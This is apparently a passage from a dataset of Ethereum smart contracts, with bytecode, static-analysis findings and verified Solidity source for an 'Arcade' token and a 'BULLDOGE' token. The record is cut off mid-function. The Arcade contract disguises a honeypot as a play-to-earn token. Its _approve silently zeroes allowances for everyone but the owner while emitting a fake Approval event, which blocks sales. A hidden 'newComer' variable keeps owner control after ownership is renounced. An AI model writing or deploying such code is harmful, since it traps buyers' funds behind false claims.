fffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110a457600080fd5b81600981905550919050565b600a60009054906101000a900460ff1681565b6110cc33611dce565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461112957600080fd5b81600381905550919050565b60011515600a60009054906101000a900460ff161515146111be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5374616b696e67206973206e6f742079657420696e697469616c697a6564000081525060200191505060405180910390fd5b60008111611234576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156112e557600080fd5b505af11580156112f9573d6000803e3d6000fd5b505050506040513d602081101561130f57600080fd5b8101908080519060200190929190505050611392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61139b33611dce565b60006113c66127106113b86005548561207290919063ffffffff16565b6120a190919063ffffffff16565b905060006113dd8284611db790919063ffffffff16565b9050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561149257600080fd5b505af11580156114a6573d6000803e3d6000fd5b505050506040513d60208110156114bc57600080fd5b810190808051906020019092919050505061153f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61159181600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212f90919063ffffffff16565b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e833600b6120ba90919063ffffffff16565b6116465761160033600b61214b90919063ffffffff16565b5042600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600e6020528060005260406000206000915090505481565b60055481565b60106020528060005260406000206000915090505481565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116df57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117655761173d611a76565b81111561174957600080fd5b61175e8160085461212f90919063ffffffff16565b6008819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156117d657600080fd5b505af11580156117ea573d6000803e3d6000fd5b505050506040513d602081101561180057600080fd5b810190808051906020019092919050505050505050565b60035481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461189e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119085750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61195d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061236f602a913960400191505060405180910390fd5b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555092915050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a4657600080fd5b81600781905550919050565b600d6020528060005260406000206000915090505481565b60085481565b60065481565b600060095460085410611a8c5760009050611aac565b6000611aa5600854600954611db790919063ffffffff16565b9050809150505b90565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b0757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611b4157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c5957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015611d075750600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b611d5c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603381526020018061233c6033913960400191505060405180910390fd5b81600a60006101000a81548160ff021916908315150217905550919050565b600f6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115611dc357fe5b818303905092915050565b6000611dd982610e36565b9050600081111561202a57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e7757600080fd5b505af1158015611e8b573d6000803e3d6000fd5b505050506040513d6020811015611ea157600080fd5b8101908080519060200190929190505050611f24576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611f7681601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212f90919063ffffffff16565b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fce8160085461212f90919063ffffffff16565b6008819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061209157508284828161208e57fe5b04145b61209757fe5b8091505092915050565b6000808284816120ad57fe5b0490508091505092915050565b60006120e2836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61217b565b905092915050565b6000612112836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61219e565b905092915050565b600061212882600001612286565b9050919050565b60008082840190508381101561214157fe5b8091505092915050565b6000612173836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612297565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461227a57600060018203905060006001866000018054905003905060008660000182815481106121e957fe5b906000526020600020015490508087600001848154811061220657fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061223e57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612280565b60009150505b92915050565b600081600001805490509050919050565b60006122a3838361217b565b6122fc578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612301565b600090505b9291505056fe466f7220556e4661726d696e67204e6565642054696d6520343820486f757273206166746572205374617274204661726d696e67496e74657272616374696e6720746f6b656e2061646472657373657320617265206e6f742079657420636f6e66696775726564496e76616c69642061646472657373657320666f726d617420617265206e6f7420737570706f72746564a264697066735822122007897e3c7af4e23987bec8a9cc4afc4f5c750323ff27f143e1347fd33677169164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,193 |
0x29EFa0bb36b21B81EF75382e807A373D74BC67A2
|
/**
*Submitted for verification at Etherscan.io on 2022-02-08
*/
/**
👾Mission Statement👾
$Arcade aims to take the mini clip concept and bridge this to the blockchain where p2e capacity has allowed games to be more competitive from traditional mobile games with an earn to play mechanism at play
🌈 TOKENOMICS🌈
🔫 Total Supply: 100,000,000
🔫 Circ. Supply: 100,000,000
🔵 12% Total Tax (Buys/Sells)
🟢 4% Marketing
🟡 4% Development / Buybacks
🔴 2.5% Auto Liquidity
🟣 1.5% Team
Always DYOR, and NFA❗
The official links for $ARCADE
🕹️WEBSITE:
www.ArcadeToken.io
🕹️REDDIT:
https://www.reddit.com/r/ArcadeEth/
🕹️DISCORD:
https://discord.gg/agZRdkXHK6
🕹️TWITTER:
https://mobile.twitter.com/arcadeeth
🕹️TELEGRAM
https://t.me/ArcadeEth
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract Arcade is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 100* 10**6* 10**18;
string private _name = 'Arcade' ;
string private _symbol = 'ARCADE' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220ed4f9658029d620f71a74bc34516fbbb45d97edb621c9822ee279a23ed124a5c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,194 |
0x1542986615a3c7f05722e58564d3275025a28beb
|
/**
*Submitted for verification at Etherscan.io on 2021-05-13
*/
// ----------------------------------------------------------------------------
// BULLDOGE Contract
// Name : BULLDOGE
// Symbol : BULLDOGE
// Decimals : 18
// InitialSupply : 1,000,000,000,000,000 BULLDOGE
// ----------------------------------------------------------------------------
pragma solidity 0.5.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
contract BULLDOGE is ERC20 {
string public constant name = "BULLDOGE";
string public constant symbol = "BULLDOGE";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 1000000000000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already Owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused, "Paused by owner");
_;
}
modifier whenPaused() {
require(paused, "Not paused now");
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
event Frozen(address target);
event Unfrozen(address target);
mapping(address => bool) internal freezes;
modifier whenNotFrozen() {
require(!freezes[msg.sender], "Sender account is locked.");
_;
}
function freeze(address _target) public onlyOwner {
freezes[_target] = true;
emit Frozen(_target);
}
function unfreeze(address _target) public onlyOwner {
freezes[_target] = false;
emit Unfrozen(_target);
}
function isFrozen(address _target) public view returns (bool) {
return freezes[_target];
}
function transfer(
address _to,
uint256 _value
)
public
whenNotFrozen
whenNotPaused
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(!freezes[_from], "From account is locked.");
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed burner, uint256 value);
function burn(address _who, uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(_who), "Balance is too small.");
_burn(_who, _value);
emit Burn(_who, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
